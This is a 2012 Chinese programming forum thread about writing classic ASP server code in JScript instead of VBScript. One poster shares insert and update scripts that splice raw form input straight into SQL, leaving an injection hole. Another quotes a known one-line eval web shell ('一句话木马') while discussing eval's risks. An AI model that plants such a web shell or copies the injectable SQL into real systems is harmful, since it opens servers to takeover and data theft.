本帖最后由 cuckoo1 于 2012-11-13 14:48:10 编辑

解决方案 »

  1.   

    搂主这个topic貌似应该发到自己的博客里去哦。
    写的不错,顶一个先。
      

  2.   

    后台javascript,似乎也只有IIS支持!其它的架构知之甚少,欢迎讨论。
      

  3.   

    后台用jscript还是vbscript是习惯的问题,要细化的话,我觉得asp 默认的脚本语言是vbscript,可能还多人学asp的时候,还不知道能用jscript写(至少我学的时候不知道),人的感情不是“先入为主”的么?所以就理所当然地选择了默认脚本。最主要的是,大部分的网络资源,如asp上传,加密解密,cms等等,后台脚本都是用vbscript写的,这样就给后来者暗示,asp就是用vbscript写的,潜移默化下,谁还会大胆创新用jscript来写asp?创新的难度与麻烦暂且不说,在我们当下的环境,boss要求做某个功能,大都baidu,google一番,都渴望现成的代码,随之复制/粘贴,便完成了任务。到底是什么造成了这样的工作状态?的确值得深思。
      

  4.   

    javascript就是java的一个子集
      

  5.   

    这个公司网被禁了,你发的数据库操作的代码看不到。这个你的数据库操作是利用ajax完成的吗?
      

  6.   

    不是利用ajax完成的,是后台的javascript,直接访问的数据库。
      

  7.   

    主要资料好找用vbs或者jscript都无所谓,就怕到时出问题了找不到资料你就蛋痛了,就拿csdn 的asp版块你发个jscript的问题,我想没有多少个人会鸟你,至少我不会鸟,因为没用过服务器端的jscript
      

  8.   

    有讲到后台的 js 吗?怎么没看到说了什么? 以前人都拿 C# 和 java 比,现在竟然有人拿Script 来比较了!
      

  9.   

    没有看到后台的javascript吗?看看下面的贴子吧!
      

  10.   

    看了以下的程序,你一定会有耳目一新的感觉!input.html:
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>信息录入</title>
    </head><body>
    利用FORM传值,可行!简单! 后台利用javascript+ADO来处理<BR>
    这里没有用字段名!!!所有输入域的名子均为YOURTAB,即表名<form target="_subWindow" method="POST">姓名:<input name=YOURTAB value="" size="10" maxlength="10"><BR/>
    年龄:<input name=YOURTAB value="" size="10" maxlength="10"><BR/>
    籍贯:<input name=YOURTAB value="" size="10" maxlength="10"><BR/>
    婚姻:<input name=YOURTAB value="" size="10" maxlength="10"><BR/>
    学历:<input name=YOURTAB value="" size="20" maxlength="20"><BR/>
    住址:<input name=YOURTAB value="" size="60" maxlength="60"><BR/>
    爱好:<input name=YOURTAB value="" size="60" maxlength="60"><BR/><input type=submit name="插入" value="插入" onclick="action='insert.asp';">
    <input type=submit name="修改" value="修改" onclick="action='update.asp';">
    </form><iframe name="_subWindow" id="_subWindow" style="display:none;" width="100%"></iframe></body>
    </html>insert.asp:
    <%@ LANGUAGE='JAVASCRIPT' %>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    </head>
    <body>
    <%
    Response.expires=0; var strconn = "Driver={SQL SERVER};Server=YOURSERVER;UID=YOURNAME;PWD=YOURPASSWORD;DataBase=YOURDATABASE"
    var conn=Server.CreateObject("Adodb.Connection");
    conn.Open(strconn);
    var dc = Server.CreateObject("ADODB.Command");
    dc.ActiveConnection = conn;
    dc.CommandType = 1; //adCmdText;
    var YourTab = "YOURTAB";
    var YourData = Request.Form(YourTab)+""; YourData = YourData.replace(/, /g,",").replace(/,/g,"','");

    dc.CommandText = "insert into YOURTAB values ('"+YourData+"')";
    try {
    dc.Execute();
    }
    catch (ex) {
    Response.Write("Error:"+dc.CommandText);
    Response.End();
    }
    Response.Write("<SCRIPT LANGUAGE=JAVASCRIPT>alert('成功插入数据。');</SCRIPT>");
    %>
    </body>
    </html>update.asp:
    <%@ LANGUAGE='JAVASCRIPT' %>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    </head>
    <body>
    <%
    Response.expires=0;
    var strconn = "Driver={SQL SERVER};Server=YOURSERVER;UID=YOURNAME;PWD=YOURPASSWORD;DataBase=YOURDATABASE"
    var conn=Server.CreateObject("Adodb.Connection");
    conn.Open(strconn);
    var dc = Server.CreateObject("ADODB.Command");
    dc.ActiveConnection = conn;
    dc.CommandType = 1; //adCmdText;
    var YourTab = "YOURTAB";
    var YourData = Request.Form(YourTab);
    Response.Write("YourData:"+YourData.count);

    var s="";
    for(var i=1;i<YourData.count;i++)
    {
    s += ((i==1)?(""):(","))+"t.F000"+i+" = '"+YourData(i)+"'";
    }
    dc.CommandText = "update t set "+s+" from YOURTAB t where t.F0001='"+YourData(1)+"'"; try {
    dc.Execute();
    }
    catch (ex) {
    Response.Write("Error:"+dc.CommandText);
    Response.End();
    }%>
    </body>
    <SCRIPT LANGUAGE=JAVASCRIPT>
    alert("成功修改数据。");
    </SCRIPT>  
    </html>
      

  11.   

    恩, 老前辈了。 不过, 还是建议转入 asp.net吧。 现在基本上已经没有人什么用 asp 和 VBScript 了。
      

  12.   

    年轻人,我说的是javascript! 不过asp.net照样完美地在后台支持javascript! 你完成可以用同一种语言、同一种语法,前后台使用。左右开弓、得心应手、相得益彰,何乐而不为呢!
      

  13.   

    其实Script 真的不需要去比较,看微软的变换就知道了。现在在asp.net 中微软都采用
    jquery了 你说 这个 js 和 vbs 还需要比较吗?
      

  14.   

    juery 还不是 javascript 写的嘛! 说白了就是javascript. LZ所说的一切均与VB无关。
      

  15.   

    楼主应该知道node.js吧?它可就是后端js。跟iis没一点关系。
      

  16.   

    鄙人才疏,真的还是第一次听说Node.js,不敢怠慢,赶紧上网搂了一瓢,发现有以下面一段话:什么是Node.js?
    Node.js被认为是一种很新潮的编程语言,有着和Rails、Ajax和Hadoop一样的传统,甚至在某种程度上和iPhone编程()和HTML5一样新潮。到一个大的技术会议上,你一定能发现一些与Node.js相关的演讲。如果进入到更深的层面,你会了解到Node.js(被大多数人简称为Node)是一个服务器端的Javascript解决方案,尤其长于接受和回应HTTP请求。当人们聊到如何用Node处理端口、套接字、线程,你即使不会感到惊奇,也会有点晕,这真的是Javascript吗?世界上会有人在浏览器外运Javascript吗,更不用说是在浏览器上运行了?

    .....看了半天,我越来越觉得我OUT了!在后台用了六年的javascript,竟然不知还有Node.js存在?OUT了,真的OUT了!!!
    看到最后我冷静了!我发现,Node.js不就是web服务嘛!如果我早些年知道的话,我可能要重新布置我的系统架构!可能要重新写与数据库的接口!那将花费多么大的工作量!
    可是我没有!我是一点一点地将以前的数千个用VBscript写成的系统逐步地过渡到javascript,以至于现在前后台全部用javascript来完成!我想以后还可以过渡到asp.net,而不用花太大的工作量!因为asp.net也对javascript进行了完美的支持!
    的确,Node.js与iis一点关系也没有!就象apache与iis没有关系一样!
      

  17.   


    是的,它的确能写后台!看看我回的这个贴子吧!
    http://bbs.csdn.net/topics/390280735
      

  18.   

    看了半天,楼主不就是说的是ASP吗? 扯什么Javacript 前台,后台。 就是Asp 脚本语言,当然都要在服务器上 解释执行了。
      

  19.   


    没听说过也没什么,它也就刚兴起1、2年而已,历史并不是很悠久。
    蓝字那段解释不准确。不过您自己的理解是对的。
    node.js不是一种新语言,它其实是一套新的解决方案。包括它自己的http server、一套针对javascript实现的可以让其运行在服务器端的引擎。并且说它和rails相似到可以勉强说的过去,但它和ajax还有hadoop真没任何相似之处。
    它使用的就是javascript语言,解释器方面使用的是google的v8引擎。不过我觉得目前来说,它只适合使用在一些小场景中。因为单纯的使用它,真的很不稳定。单进程,正是由于它的单进程,一旦一个请求导致语法错误,进程就崩了。之后所有请求全部失效。我当时适用后就是因为这一点,并没有在实际项目种使用它。我们要自己实现它的多进程,以及master进程对进程的管理调度等工作才可以保证其稳定性。当然也可以使用它的npm来安装一些标准库来完成这些工作。
    您所说的javascript运行在服务器端我相信其实以前学过asp第一次见到<%@ LANGUAGE='VBSCRIPT' %>这个标签的时候,都会想到这里是否可以写成javascript。至少我是03年刚步入这行时就知道的。但为什么没人用它。早些年的时候,可能因为vbs也是微软扶持的,所以很少有人会搞特殊去使用js。除非是js的超级fans。其次,只有iis支持可以在服务器端对其进行解释,当apache的使用率大大超过iis时,它就越发无用武之地了。
      

  20.   

    还是觉得前后台要分开写的好,这样才是符合web运行原理的习惯
    页面代码就完全用页面的东西(html,css,javascript),与服务器加护完全依赖ajax接口,这样的客户端代码才是最好维护和扩展的,计算什么时候说服务器要换环境,改语言,至少我的前台代码完全不用动;
    你说这种页面代码文件里混杂服务器代码的写法,兼容性实在不好说,哪天windows收费提高了,公司要换Linux,
    你就傻了不是,全得重写
      

  21.   


    <%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>明眼人一看就知道这句话是啥意思,这个就是大名鼎鼎的“一句话木马”,而他的语言正是jscript
      

  22.   


    非也!这句话唯一与javascript有关的就是那个分号“;”! 实际上取掉分号,将Jscript换为VBscript也可以执行的! 很多语言中都有 EVAL 这个"恶魔", 但它却是你实现某些不可思议的功能的法定!
      

  23.   


    非也!这句话唯一与javascript有关的就是那个分号“;”! 实际上取掉分号,将Jscript换为VBscript同样也可以执行的! 很多语言中都有 EVAL 这个"恶魔", 但它却是你实现某些不可思议的功能的制胜法宝
      

  24.   

    javascript不是java子集
    完毕!!
      

  25.   

    换个web服务器,这个后台的javascript应该就不能执行了吧。这个应该不是标准的javascript,只是微软自己的jscript.
      

  26.   

    完全赞同calmcrime说的观点。我对vbscript和jscript都有10年的编写历史了,算是相当了解两者了。你只是看着vbscript不爽,因为它做的事情jscript都能做,所以你要换成jscript,这个是心理因素,既然都能做,为什么要去改变现有的呢。除非为了大规模的重构。而且你如果要使用很多第三方的asp代码的话,还是vbs优势大一些。vbs/js,我总的感觉是,没太大差别,有些小差别。
    但是有一些特性方面,两者互相有对方不可替代之处。
    举例子:
    vbs里头有个 ExecuteGlobal , 这个要比js里的eval强大,不能直接替代。(当然这个语句一般比较少用,做一些比较底层的类库常用到)
    vbs里头有一些按字节操作的东西,比如ChrB,AscB,LenB,MidB,在js里就没有对应的了,用js处理二进制数据是不大容易的。
    vbs的类(Class)用起来还是比较不错的,有很多特性是js的function所不具备的,比如Initialize, Terminate, Property Let/Get/Set, Private/Public, Default语法本身来说,js更灵活,js的function太灵活了,js的优点大家都知道。
    我对vbs最纠结的是不能获取本机时区,以及很麻烦的正则表达式对象。
    如果你需要写vbs(可能基于以前的旧工程吧,现在全新的东西一般就不会选择asp了),那么尝试多封装Class吧,这样你的代码也会看起来赏心悦目,甚至超过js的阅读性。IIS我相当钦佩,支持多种语言的服务端程序,这个宇宙第一了。如果你乐意,甚至可以安装个python,然后用python来写asp,或者可以安装个perl,然后用perl来写asp。语言没有太多的好坏,好坏只在于写代码的人!